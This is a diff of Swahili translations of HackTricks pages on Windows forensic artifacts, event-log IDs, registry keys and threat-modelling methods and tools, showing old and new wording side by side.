Faili hii ni ya kipekee kwa kuhifadhi rekodi za michakato iliyotekelezwa hivi karibuni, ikiwa ni pamoja na njia za faili zinazotekelezwa na hash zao za SHA1. Taarifa hii ni ya thamani kubwa kwa kufuatilia shughuli za maombi kwenye mfumo.
Ili kutoa na kuchambua data kutoka **Amcache.hve**, zana ya [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) inaweza kutumika. Amri ifuatayo ni mfano wa jinsi ya kutumia AmcacheParser kuchambua maudhui ya faili ya **Amcache.hve** na kutoa matokeo katika muundo wa CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Kati ya faili za CSV zilizozalishwa, `Amcache_Unassociated file entries` ni muhimu sana kutokana na taarifa nyingi inazotoa kuhusu faili zisizohusishwa.
Kati ya faili za CSV zilizozalishwa, `Amcache_Unassociated file entries` inajulikana hasa kutokana na taarifa nyingi inazotoa kuhusu entries za faili zisizo na uhusiano.
Faili ya CVS inayovutia zaidi iliyozalishwa ni `Amcache_Unassociated file entries`.
### RecentFileCache
Kichaka hiki kinaweza kupatikana tu katika W7 katika `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` na kina taarifa kuhusu utekelezaji wa hivi karibuni wa baadhi ya binaries.
Kipande hiki kinaweza kupatikana tu katika W7 katika `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` na kina taarifa kuhusu utekelezaji wa hivi karibuni wa baadhi ya binaries.
Unaweza kutumia chombo [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) kuchambua faili hiyo.
@ -310,7 +389,7 @@ Taarifa zinazojitokeza ndani ya matukio ya Windows ni:
- Nini kilitokea
- Wakati (UTC + 0)
- Watumiaji waliohusika
- Kompyuta zilizohusika (jina la kompyuta, IP)
- Hosts waliohusika (jina la mwenyeji, IP)
- Mali zilizofikiwa (faili, folda, printer, huduma)
Marekodi yako katika `C:\Windows\System32\config` kabla ya Windows Vista na katika `C:\Windows\System32\winevt\Logs` baada ya Windows Vista. Kabla ya Windows Vista, marekodi ya matukio yalikuwa katika muundo wa binary na baada yake, yako katika **muundo wa XML** na yanatumia kiendelezi **.evtx**.
@ -321,7 +400,7 @@ Zinaweza kuonyeshwa kutoka kwa Windows Event Viewer (**`eventvwr.msc`**) au kwa
## Kuelewa Usajili wa Matukio ya Usalama wa Windows
Matukio ya ufikiaji yanarekodiwa katika faili ya usanidi wa usalama iliyoko katika `C:\Windows\System32\winevt\Security.evtx`. Ukubwa wa faili hii unaweza kubadilishwa, na wakati uwezo wake unafikiwa, matukio ya zamani yanabadilishwa. Matukio yaliyorekodiwa ni pamoja na kuingia na kutoka kwa watumiaji, vitendo vya watumiaji, na mabadiliko ya mipangilio ya usalama, pamoja na ufikiaji wa faili, folda, na mali zilizoshirikiwa.
Matukio ya ufikiaji yanarekodiwa katika faili ya usanidi wa usalama iliyoko katika `C:\Windows\System32\winevt\Security.evtx`. Ukubwa wa faili hii unaweza kubadilishwa, na wakati uwezo wake unafikiwa, matukio ya zamani yanapewa nafasi. Matukio yaliyorekodiwa yanajumuisha kuingia na kutoka kwa watumiaji, vitendo vya watumiaji, na mabadiliko ya mipangilio ya usalama, pamoja na ufikiaji wa faili, folda, na mali zilizoshirikiwa.
### Nambari za Matukio Muhimu za Uthibitishaji wa Mtumiaji:
@ -339,13 +418,13 @@ Matukio ya ufikiaji yanarekodiwa katika faili ya usanidi wa usalama iliyoko kati
- **Proxy (6)**: Uthibitishaji wa proxy.
- **Unlock (7)**: Skrini imefunguliwa kwa neno la siri.
- **Network Cleartext (8)**: Uhamasishaji wa nenosiri wazi, mara nyingi kutoka IIS.
- **New Credentials (9)**: Matumizi ya uthibitisho tofauti kwa ufikiaji.
- **New Credentials (9)**: Matumizi ya akidi tofauti kwa ufikiaji.
- **Remote Interactive (10)**: Kuingia kwa desktop ya mbali au huduma za terminal.
- **Cache Interactive (11)**: Kuingia kwa uthibitisho wa cache bila kuwasiliana na udhibiti wa kikoa.
- **Cache Remote Interactive (12)**: Kuingia kwa mbali kwa uthibitisho wa cache.
- **Cached Unlock (13)**: Kufungua kwa uthibitisho wa cache.
- **Cache Interactive (11)**: Kuingia kwa akidi zilizohifadhiwa bila kuwasiliana na kudhibitiwa kwa eneo.
- **Cache Remote Interactive (12)**: Kuingia kwa mbali kwa akidi zilizohifadhiwa.
- **Cached Unlock (13)**: Kufungua kwa akidi zilizohifadhiwa.
#### Nambari za Hali na Nambari za Hali za chini kwa EventID 4625:
#### Nambari za Hali na Nambari za Hali za EventID 4625:
- **0xC0000064**: Jina la mtumiaji halipo - Inaweza kuashiria shambulio la kuhesabu majina ya watumiaji.
- **0xC000006A**: Jina la mtumiaji sahihi lakini nenosiri si sahihi - Jaribio la kukisia nenosiri au jaribio la nguvu.
@ -353,38 +432,38 @@ Matukio ya ufikiaji yanarekodiwa katika faili ya usanidi wa usalama iliyoko kati
- **0xC0000072**: Akaunti imezuiliwa - Jaribio zisizoidhinishwa za kufikia akaunti zilizozuiliwa.
- **0xC000006F**: Kuingia nje ya wakati ulioidhinishwa - Inaonyesha jaribio la kufikia nje ya masaa yaliyowekwa ya kuingia, ishara inayoweza kuashiria ufikiaji usioidhinishwa.
- **0xC0000070**: Kukiuka vikwazo vya workstation - Inaweza kuwa jaribio la kuingia kutoka eneo lisiloidhinishwa.
- **0xC0000193**: Kuisha kwa akaunti - Jaribio la kufikia akaunti za mtumiaji zilizokwisha.
- **0xC0000193**: Kuisha kwa akaunti - Jaribio la kufikia kwa akaunti za mtumiaji zilizokwisha.
- **0xC0000071**: Nenosiri lililoisha - Jaribio la kuingia kwa nenosiri lililokwisha.
- **0xC0000133**: Masuala ya usawazishaji wa wakati - Tofauti kubwa za wakati kati ya mteja na seva zinaweza kuashiria mashambulizi ya hali ya juu kama pass-the-ticket.
- **0xC0000224**: Mabadiliko ya nenosiri ya lazima yanahitajika - Mabadiliko ya lazima mara kwa mara yanaweza kuashiria jaribio la kuharibu usalama wa akaunti.
- **0xC0000224**: Mabadiliko ya nenosiri ya lazima yanahitajika - Mabadiliko ya lazima mara kwa mara yanaweza kuashiria jaribio la kutetereka kwa usalama wa akaunti.
- **0xC0000225**: Inaonyesha hitilafu ya mfumo badala ya suala la usalama.
- **0xC000015b**: Aina ya kuingia iliyopewa ruhusa - Jaribio la ufikiaji kwa aina ya kuingia isiyoidhinishwa, kama mtumiaji anajaribu kutekeleza kuingia kwa huduma.
#### EventID 4616:
- **Mabadiliko ya Wakati**: Mabadiliko ya wakati wa mfumo, yanaweza kuficha mfululizo wa matukio.
- **Mabadiliko ya Wakati**: Mabadiliko ya wakati wa mfumo, yanaweza kuficha muda wa matukio.
#### EventID 6005 na 6006:
- **Kuanza na Kufunga Mfumo**: EventID 6005 inaonyesha mfumo unaanzishwa, wakati EventID 6006 inaashiria unafungwa.
- **Kuanza na Kufunga Mfumo**: EventID 6005 inaonyesha mfumo unaanzishwa, wakati EventID 6006 inaashiria unafunga.
#### EventID 1102:
- **Futa Marekodi**: Marekodi ya usalama yanapofutwa, ambayo mara nyingi ni ishara mbaya ya kuficha shughuli haramu.
- **Futa Marekodi**: Marekodi ya usalama yanapofutwa, ambayo mara nyingi ni bendera nyekundu kwa kuficha shughuli haramu.
#### EventIDs za Ufuatiliaji wa Kifaa cha USB:
#### EventIDs za Kufuatilia Vifaa vya USB:
- **20001 / 20003 / 10000**: Muunganisho wa kwanza wa kifaa cha USB.
- **10100**: Sasisho la dereva wa USB.
- **EventID 112**: Wakati wa kuingizwa kwa kifaa cha USB.
Kwa mifano halisi ya kuiga aina hizi za kuingia na fursa za kutupa uthibitisho, rejelea [mwongozo wa kina wa Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Kwa mifano halisi ya kuiga aina hizi za kuingia na fursa za kutupa akidi, rejelea [mwongozo wa kina wa Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Maelezo ya matukio, ikiwa ni pamoja na nambari za hali na za hali za chini, yanatoa ufahamu zaidi kuhusu sababu za matukio, hasa yanayoonekana katika Event ID 4625.
Maelezo ya matukio, ikiwa ni pamoja na nambari za hali na nambari za hali za chini, yanatoa ufahamu zaidi kuhusu sababu za matukio, hasa yanayoonekana katika Event ID 4625.
### Kuokoa Matukio ya Windows
### Kurejesha Matukio ya Windows
Ili kuongeza nafasi za kuokoa matukio ya Windows yaliyofutwa, ni vyema kuzima kompyuta inayoshukiwa kwa kuiondoa moja kwa moja. **Bulk_extractor**, chombo cha kuokoa kinachobainisha kiendelezi cha `.evtx`, kinapendekezwa kwa kujaribu kuokoa matukio kama haya.
Ili kuongeza nafasi za kurejesha matukio ya Windows yaliyofutwa, inashauriwa kuzima kompyuta inayoshukiwa kwa kuiondoa moja kwa moja. **Bulk_extractor**, chombo cha urejelezi kinachobainisha kiendelezi cha `.evtx`, kinashauriwa kwa kujaribu kurejesha matukio kama haya.
### Kutambua Mashambulizi ya Kawaida kupitia Matukio ya Windows
@ -396,11 +475,11 @@ Inatambulika kwa rekodi nyingi za EventID 4625, ikifuatwa na EventID 4624 ikiwa
#### Mabadiliko ya Wakati
Yanakumbukwa na EventID 4616, mabadiliko ya wakati wa mfumo yanaweza kuleta changamoto katika uchambuzi wa forensics.
Yanakerekodiwa na EventID 4616, mabadiliko ya wakati wa mfumo yanaweza kuleta changamoto katika uchambuzi wa forensiki.
#### Ufuatiliaji wa Kifaa cha USB
#### Kufuatilia Vifaa vya USB
Nambari za Matukio za Mfumo zinazofaa kwa ufuatiliaji wa kifaa cha USB ni pamoja na 20001/20003/10000 kwa matumizi ya awali, 10100 kwa sasisho za dereva, na EventID 112 kutoka kwa DeviceSetupManager kwa wakati wa kuingizwa.
Nambari za Matukio za Mfumo zinazofaa kwa kufuatilia vifaa vya USB ni pamoja na 20001/20003/10000 kwa matumizi ya awali, 10100 kwa sasisho za dereva, na EventID 112 kutoka kwa DeviceSetupManager kwa wakati wa kuingizwa.
#### Matukio ya Nguvu ya Mfumo
@ -408,6 +487,6 @@ EventID 6005 inaonyesha kuanzishwa kwa mfumo, wakati EventID 6006 inaashiria kuf
#### Futa Marekodi
EventID ya Usalama 1102 inaashiria kufutwa kwa marekodi, tukio muhimu kwa uchambuzi wa forensics.
EventID ya Usalama 1102 inaashiria kufutwa kwa marekodi, tukio muhimu kwa uchambuzi wa forensiki.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,10 @@
# Interesting Windows Registry Keys
### Interesting Windows Registry Keys
{{#include ../../../banners/hacktricks-training.md}}
### **Windows Version and Owner Info**
- Iko katika **`Software\Microsoft\Windows NT\CurrentVersion`**, utapata toleo la Windows, Service Pack, wakati wa usakinishaji, na jina la mmiliki aliyejiandikisha kwa njia rahisi.
- Iko kwenye **`Software\Microsoft\Windows NT\CurrentVersion`**, utapata toleo la Windows, Service Pack, wakati wa usakinishaji, na jina la mmiliki aliyejiandikisha kwa njia rahisi.
### **Computer Name**
@ -14,7 +12,7 @@
### **Time Zone Setting**
- Muda wa mfumo umehifadhiwa katika **`System\ControlSet001\Control\TimeZoneInformation`**.
- Kanda ya muda ya mfumo imehifadhiwa katika **`System\ControlSet001\Control\TimeZoneInformation`**.
### **Access Time Tracking**
@ -39,32 +37,32 @@
### AutoStart Programs
- Programu zilizoorodheshwa katika funguo mbalimbali za usajili za `Run` na `RunOnce` zinaanzishwa moja kwa moja wakati wa kuanzisha, zikihusisha muda wa kuanzisha mfumo na kuwa maeneo ya kupigiwa mfano kwa kutambua malware au programu zisizohitajika.
- Programu zilizoorodheshwa katika funguo mbalimbali za `Run` na `RunOnce` za usajili zinaanzishwa kiotomatiki wakati wa kuanzisha, zikihusisha muda wa kuanzisha mfumo na kuwa maeneo ya kupigiwa mfano kwa kutambua malware au programu zisizohitajika.
### Shellbags
- **Shellbags** sio tu hifadhi mapendeleo ya maoni ya folda bali pia hutoa ushahidi wa forensics wa ufikiaji wa folda hata kama folda hiyo haipo tena. Ni muhimu kwa uchunguzi, ikifunua shughuli za mtumiaji ambazo hazionekani kupitia njia nyingine.
- **Shellbags** hazihifadhi tu mapendeleo ya maoni ya folda bali pia hutoa ushahidi wa forensics wa ufikiaji wa folda hata kama folda hiyo haipo tena. Ni muhimu kwa uchunguzi, ikifunua shughuli za mtumiaji ambazo si dhahiri kupitia njia nyingine.
### USB Information and Forensics
- Maelezo yaliyohifadhiwa katika usajili kuhusu vifaa vya USB yanaweza kusaidia kufuatilia ni vifaa gani vilivyounganishwa kwenye kompyuta, ikihusisha kifaa na uhamishaji wa faili nyeti au matukio ya ufikiaji usioidhinishwa.
- Maelezo yaliyohifadhiwa katika usajili kuhusu vifaa vya USB yanaweza kusaidia kufuatilia ni vifaa gani vilivyounganishwa kwenye kompyuta, ikihusisha kifaa na uhamisho wa faili nyeti au matukio ya ufikiaji usioidhinishwa.
### Volume Serial Number
- **Nambari ya Serial ya Volume** inaweza kuwa muhimu kwa kufuatilia tukio maalum la mfumo wa faili, muhimu katika hali za forensics ambapo asili ya faili inahitaji kuanzishwa kati ya vifaa tofauti.
- **Nambari ya Serial ya Volume** inaweza kuwa muhimu kwa kufuatilia tukio maalum la mfumo wa faili, inayofaa katika hali za forensics ambapo asili ya faili inahitaji kuanzishwa kati ya vifaa tofauti.
### **Shutdown Details**
- Wakati wa kuzima na hesabu (hii ya mwisho ni kwa XP pekee) zinawekwa katika **`System\ControlSet001\Control\Windows`** na **`System\ControlSet001\Control\Watchdog\Display`**.
- Wakati wa kuzima na hesabu (hii ya mwisho ni kwa XP tu) huhifadhiwa katika **`System\ControlSet001\Control\Windows`** na **`System\ControlSet001\Control\Watchdog\Display`**.
### **Network Configuration**
- Kwa maelezo ya kina ya kiunganishi cha mtandao, rejelea **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
- Kwa maelezo ya kina ya kiunganishi cha mtandao, rejea **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
- Wakati wa kwanza na wa mwisho wa muunganisho wa mtandao, ikiwa ni pamoja na muunganisho wa VPN, umeandikwa chini ya njia mbalimbali katika **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
### **Shared Folders**
- Folda zilizoshirikiwa na mipangilio ziko chini ya **`System\ControlSet001\Services\lanmanserver\Shares`**. Mipangilio ya Client Side Caching (CSC) inaamuru upatikanaji wa faili za mbali.
- Folda na mipangilio zilizoshirikiwa ziko chini ya **`System\ControlSet001\Services\lanmanserver\Shares`**. Mipangilio ya Client Side Caching (CSC) inaamuru upatikanaji wa faili za mbali.
### **Programs that Start Automatically**
@ -76,7 +74,7 @@
### **Recent Documents and Office Files**
- Hati za hivi karibuni na faili za Ofisi zilizofikiwa zinaandikwa katika `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` na njia maalum za toleo la Ofisi.
- Hati za hivi karibuni na faili za Ofisi zilizofikiwa zimeandikwa katika `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` na njia maalum za toleo la Ofisi.
### **Most Recently Used (MRU) Items**
@ -92,7 +90,7 @@
### **USB Device History**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** na **`HKLM\SYSTEM\ControlSet001\Enum\USB`** zina maelezo mengi kuhusu vifaa vya USB vilivyounganishwa, ikiwa ni pamoja na mtengenezaji, jina la bidhaa, na muda wa kuunganishwa.
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** na **`HKLM\SYSTEM\ControlSet001\Enum\USB`** zina maelezo mengi kuhusu vifaa vya USB vilivyounganishwa, ikiwa ni pamoja na mtengenezaji, jina la bidhaa, na nyakati za muunganisho.
- Mtumiaji anayehusishwa na kifaa maalum cha USB anaweza kupatikana kwa kutafuta hives za `NTUSER.DAT` kwa **{GUID}** ya kifaa.
- Kifaa cha mwisho kilichounganishwa na nambari yake ya serial ya volume kinaweza kufuatiliwa kupitia `System\MountedDevices` na `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, mtawalia.

View File

@ -1,44 +1,46 @@
# Threat Modeling
{{#include /banners/hacktricks-training.md}}
## Threat Modeling
Karibu kwenye mwongozo wa kina wa HackTricks kuhusu Threat Modeling! Anza uchunguzi wa kipengele hiki muhimu cha usalama wa mtandao, ambapo tunatambua, kuelewa, na kupanga mikakati dhidi ya udhaifu wa uwezekano katika mfumo. Thread hii inatoa mwongozo wa hatua kwa hatua uliojaa mifano halisi, programu za kusaidia, na maelezo rahisi kueleweka. Inafaa kwa wapya na wataalamu wenye uzoefu wanaotafuta kuimarisha ulinzi wao wa usalama wa mtandao.
Karibu kwenye mwongozo wa kina wa HackTricks kuhusu Threat Modeling! Anza uchunguzi wa kipengele hiki muhimu cha usalama wa mtandao, ambapo tunatambua, kuelewa, na kupanga mikakati dhidi ya udhaifu unaoweza kutokea katika mfumo. Thread hii inatoa mwongozo wa hatua kwa hatua uliojaa mifano halisi, programu za kusaidia, na maelezo rahisi kueleweka. Inafaa kwa wapya na wataalamu wenye uzoefu wanaotafuta kuimarisha ulinzi wao wa usalama wa mtandao.
### Commonly Used Scenarios
1. **Software Development**: Kama sehemu ya Mzunguko wa Maisha ya Maendeleo ya Programu Salama (SSDLC), threat modeling husaidia katika **kutambua vyanzo vya udhaifu** katika hatua za awali za maendeleo.
2. **Penetration Testing**: Mfumo wa Kiwango cha Utekelezaji wa Upimaji wa Penetration (PTES) unahitaji **threat modeling ili kuelewa udhaifu wa mfumo** kabla ya kufanya mtihani.
2. **Penetration Testing**: Mfumo wa Kiwango cha Utekelezaji wa Upenyo (PTES) unahitaji **threat modeling ili kuelewa udhaifu wa mfumo** kabla ya kufanya mtihani.
### Threat Model in a Nutshell
Model ya Threat kwa kawaida inawakilishwa kama mchoro, picha, au aina nyingine ya uwasilishaji wa kuona unaoonyesha usanifu uliopangwa au ujenzi wa sasa wa programu. Inafanana na **mchoro wa mtiririko wa data**, lakini tofauti kuu iko katika muundo wake unaolenga usalama.
Modeli ya Threat mara nyingi inawakilishwa kama mchoro, picha, au aina nyingine ya uwasilishaji wa kuona unaoonyesha usanifu uliopangwa au ujenzi wa sasa wa programu. Inafanana na **data flow diagram**, lakini tofauti kuu iko katika muundo wake unaolenga usalama.
Mifano ya threat mara nyingi ina vipengele vilivyotajwa kwa rangi nyekundu, vinavyowakilisha udhaifu, hatari, au vizuizi vya uwezekano. Ili kurahisisha mchakato wa kutambua hatari, triad ya CIA (Ufaragha, Uaminifu, Upatikanaji) inatumika, ikifanya msingi wa mbinu nyingi za threat modeling, huku STRIDE ikiwa moja ya maarufu zaidi. Hata hivyo, mbinu iliyochaguliwa inaweza kutofautiana kulingana na muktadha maalum na mahitaji.
Modeli za threat mara nyingi zina vipengele vilivyotajwa kwa rangi nyekundu, vinavyowakilisha udhaifu, hatari, au vizuizi vinavyoweza kutokea. Ili kurahisisha mchakato wa kutambua hatari, triad ya CIA (Usiri, Uaminifu, Upatikanaji) inatumika, ik forming msingi wa mbinu nyingi za threat modeling, huku STRIDE ikiwa moja ya maarufu zaidi. Hata hivyo, mbinu iliyochaguliwa inaweza kutofautiana kulingana na muktadha maalum na mahitaji.
### The CIA Triad
Triad ya CIA ni mfano unaotambulika sana katika uwanja wa usalama wa habari, ikisimama kwa Ufaragha, Uaminifu, na Upatikanaji. Nguzo hizi tatu zinaunda msingi ambao hatua nyingi za usalama na sera zimejengwa, ikiwa ni pamoja na mbinu za threat modeling.
Triad ya CIA ni mfano unaotambulika sana katika uwanja wa usalama wa habari, ikisimama kwa Usiri, Uaminifu, na Upatikanaji. Nguzo hizi tatu zinaunda msingi ambao hatua nyingi za usalama na sera zimejengwa, ikiwa ni pamoja na mbinu za threat modeling.
1. **Confidentiality**: Kuhakikisha kwamba data au mfumo haupatikani kwa watu wasioidhinishwa. Hii ni kipengele cha kati cha usalama, kinachohitaji udhibiti sahihi wa ufikiaji, usimbaji, na hatua nyingine za kuzuia uvunjaji wa data.
2. **Integrity**: Usahihi, uthabiti, na uaminifu wa data katika mzunguko wake wa maisha. Kanuni hii inahakikisha kwamba data haibadilishwi au kuingiliwa na wahusika wasioidhinishwa. Mara nyingi inahusisha checksums, hashing, na mbinu nyingine za uthibitishaji wa data.
3. **Availability**: Hii inahakikisha kwamba data na huduma zinapatikana kwa watumiaji walioidhinishwa wanapohitajika. Hii mara nyingi inahusisha redundancy, uvumilivu wa makosa, na usanifu wa upatikanaji wa juu ili kuweka mifumo ikifanya kazi hata mbele ya usumbufu.
1. **Usiri**: Kuhakikisha kwamba data au mfumo haupatikani kwa watu wasioidhinishwa. Hii ni kipengele cha kati cha usalama, kinachohitaji udhibiti sahihi wa ufikiaji, usimbaji, na hatua nyingine za kuzuia uvunjaji wa data.
2. **Uaminifu**: Usahihi, uthabiti, na kuaminika kwa data katika mzunguko wake wa maisha. Kanuni hii inahakikisha kwamba data haibadilishwi au kuingiliwa na wahusika wasioidhinishwa. Mara nyingi inahusisha checksums, hashing, na mbinu nyingine za uthibitishaji wa data.
3. **Upatikanaji**: Hii inahakikisha kwamba data na huduma zinapatikana kwa watumiaji walioidhinishwa wanapohitajika. Hii mara nyingi inahusisha redundancy, uvumilivu wa makosa, na usanifu wa upatikanaji wa juu ili kuweka mifumo ikifanya kazi hata wakati wa usumbufu.
### Threat Modeling Methodlogies
1. **STRIDE**: Iliyotengenezwa na Microsoft, STRIDE ni kifupi cha **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Kila kundi linawakilisha aina ya tishio, na mbinu hii hutumiwa mara nyingi katika hatua ya kubuni ya programu au mfumo kutambua vitisho vya uwezekano.
2. **DREAD**: Hii ni mbinu nyingine kutoka Microsoft inayotumika kwa tathmini ya hatari ya vitisho vilivyotambuliwa. DREAD inasimama kwa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Kila moja ya mambo haya inapata alama, na matokeo yake yanatumika kuipa kipaumbele vitisho vilivyotambuliwa.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Hii ni mbinu ya hatua saba, **iliyolenga hatari**. Inajumuisha kufafanua na kutambua malengo ya usalama, kuunda upeo wa kiufundi, uharibifu wa programu, uchambuzi wa vitisho, uchambuzi wa udhaifu, na tathmini ya hatari/triage.
4. **Trike**: Hii ni mbinu inayotegemea hatari inayolenga kulinda mali. Inaanza kutoka mtazamo wa **usimamizi wa hatari** na inatazama vitisho na udhaifu katika muktadha huo.
5. **VAST** (Visual, Agile, and Simple Threat modeling): Mbinu hii inalenga kuwa rahisi zaidi na kuunganishwa katika mazingira ya maendeleo ya Agile. Inachanganya vipengele kutoka mbinu nyingine na inazingatia **uwakilishi wa kuona wa vitisho**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Iliyotengenezwa na Kituo cha Uratibu wa CERT, mfumo huu unalenga **tathmini ya hatari ya shirika badala ya mifumo au programu maalum**.
1. **STRIDE**: Iliyotengenezwa na Microsoft, STRIDE ni kifupi cha **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Kila kundi linawakilisha aina ya hatari, na mbinu hii hutumiwa mara nyingi katika hatua ya kubuni ya programu au mfumo ili kutambua hatari zinazoweza kutokea.
2. **DREAD**: Hii ni mbinu nyingine kutoka Microsoft inayotumika kwa tathmini ya hatari za hatari zilizotambuliwa. DREAD inasimama kwa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Kila moja ya mambo haya inapata alama, na matokeo yake yanatumika kuipa kipaumbele hatari zilizotambuliwa.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Hii ni mbinu ya hatua saba, **risk-centric**. Inajumuisha kufafanua na kutambua malengo ya usalama, kuunda upeo wa kiufundi, uharibifu wa programu, uchambuzi wa hatari, uchambuzi wa udhaifu, na tathmini ya hatari/triage.
4. **Trike**: Hii ni mbinu inayotegemea hatari ambayo inazingatia kulinda mali. Inaanza kutoka mtazamo wa **risk management** na inatazama hatari na udhaifu katika muktadha huo.
5. **VAST** (Visual, Agile, and Simple Threat modeling): Mbinu hii inalenga kuwa rahisi zaidi na kuunganishwa katika mazingira ya maendeleo ya Agile. Inachanganya vipengele kutoka mbinu nyingine na inazingatia **uwakilishi wa kuona wa hatari**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Iliyotengenezwa na Kituo cha Uratibu cha CERT, mfumo huu unalenga **tathmini ya hatari ya shirika badala ya mifumo au programu maalum**.
## Tools
Kuna zana kadhaa na suluhisho za programu zinazopatikana ambazo zinaweza **kusaidia** katika uundaji na usimamizi wa mifano ya vitisho. Hapa kuna chache unazoweza kuzingatia.
Kuna zana kadhaa na suluhisho za programu zinazopatikana ambazo zinaweza **kusaidia** katika kuunda na kusimamia modeli za hatari. Hapa kuna chache unazoweza kuzingatia.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
Zana ya kisasa ya GUI ya wavuti ya kuvua/kuvua kwa wataalamu wa usalama wa mtandao. Spider Suite inaweza kutumika kwa ramani na uchambuzi wa uso wa shambulio.
Zana ya kisasa ya GUI ya wavuti ya kuvunja/mchambuzi wa jukwaa nyingi kwa wataalamu wa usalama wa mtandao. Spider Suite inaweza kutumika kwa ramani na uchambuzi wa uso wa shambulio.
**Usage**
@ -52,7 +54,7 @@ Zana ya kisasa ya GUI ya wavuti ya kuvua/kuvua kwa wataalamu wa usalama wa mtand
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
Mradi wa chanzo wazi kutoka OWASP, Threat Dragon ni programu ya wavuti na desktop ambayo inajumuisha uchoraji wa mifumo pamoja na injini ya sheria za kuunda vitisho/mipango kiotomatiki.
Mradi wa chanzo wazi kutoka OWASP, Threat Dragon ni programu ya wavuti na desktop ambayo inajumuisha uchoraji wa mifumo pamoja na injini ya sheria za kuunda hatari/kuzuia moja kwa moja.
**Usage**
@ -74,38 +76,41 @@ Wakati mwingine inaweza kuonekana kama hii:
4. Unda mfano wako
Unaweza kutumia zana kama SpiderSuite Crawler kukupa inspiration, mfano wa msingi ungeweza kuonekana kama hii
Unaweza kutumia zana kama SpiderSuite Crawler kukupa inspiration, mfano wa msingi ungeonekana kama huu
<figure><img src="../images/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
Tu kidogo ya maelezo kuhusu viumbe:
Tu kidogo ya maelezo kuhusu vitu:
- Mchakato (Kiumbe chenyewe kama vile Webserver au kazi ya wavuti)
- Mchakato (Kitu chenyewe kama vile Webserver au kazi ya wavuti)
- Mchezaji (Mtu kama vile Mtembezi wa Tovuti, Mtumiaji au Msimamizi)
- Mstari wa Mtiririko wa Data (Kiashiria cha Maingiliano)
- Mipaka ya Kuamini (Sehemu tofauti za mtandao au upeo.)
- Hifadhi (Mambo ambapo data zinahifadhiwa kama vile Mifumo ya Takwimu)
- Hifadhi (Mambo ambapo data zinawekwa kama vile Maktaba)
5. Unda Tishio (Hatua ya 1)
5. Unda Hatari (Hatua ya 1)
Kwanza unapaswa kuchagua safu unayotaka kuongeza tishio
Kwanza unapaswa kuchagua safu unayotaka kuongeza hatari
<figure><img src="../images/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
Sasa unaweza kuunda tishio
Sasa unaweza kuunda hatari
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Kumbuka kwamba kuna tofauti kati ya Vitisho vya Mchezaji na Vitisho vya Mchakato. Ikiwa ungeongeza tishio kwa Mchezaji basi utaweza kuchagua tu "Spoofing" na "Repudiation". Hata hivyo katika mfano wetu tunaongeza tishio kwa kiumbe cha Mchakato hivyo tutaona hii katika sanduku la uundaji wa tishio:
Kumbuka kwamba kuna tofauti kati ya Hatari za Mchezaji na Hatari za Mchakato. Ikiwa ungeongeza hatari kwa Mchezaji basi utaweza kuchagua tu "Spoofing" na "Repudiation". Hata hivyo katika mfano wetu tunaongeza hatari kwa kitu cha Mchakato hivyo tutaona hii katika kisanduku cha uundaji wa hatari:
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Imekamilika
Sasa mfano wako wa kumaliza unapaswa kuonekana kama hii. Na hivi ndivyo unavyofanya mfano rahisi wa tishio na OWASP Threat Dragon.
Sasa mfano wako wa kumaliza unapaswa kuonekana kama huu. Na hivi ndivyo unavyofanya mfano rahisi wa hatari na OWASP Threat Dragon.
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Hii ni zana ya bure kutoka Microsoft inayosaidia katika kutafuta vitisho katika hatua ya kubuni ya miradi ya programu. Inatumia mbinu ya STRIDE na inafaa hasa kwa wale wanaoendeleza kwenye stack ya Microsoft.
Hii ni zana ya bure kutoka Microsoft inayosaidia katika kutafuta hatari katika hatua ya kubuni ya miradi ya programu. Inatumia mbinu ya STRIDE na inafaa hasa kwa wale wanaoendeleza kwenye stack ya Microsoft.
{{#include /banners/hacktricks-training.md}}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 16 KiB

View File

@ -1,35 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Referrer headers and policy
Referrer ni kichwa kinachotumiwa na vivinjari kuonyesha ni ukurasa gani wa awali ulitembelewa.
## Taarifa nyeti zilizovuja
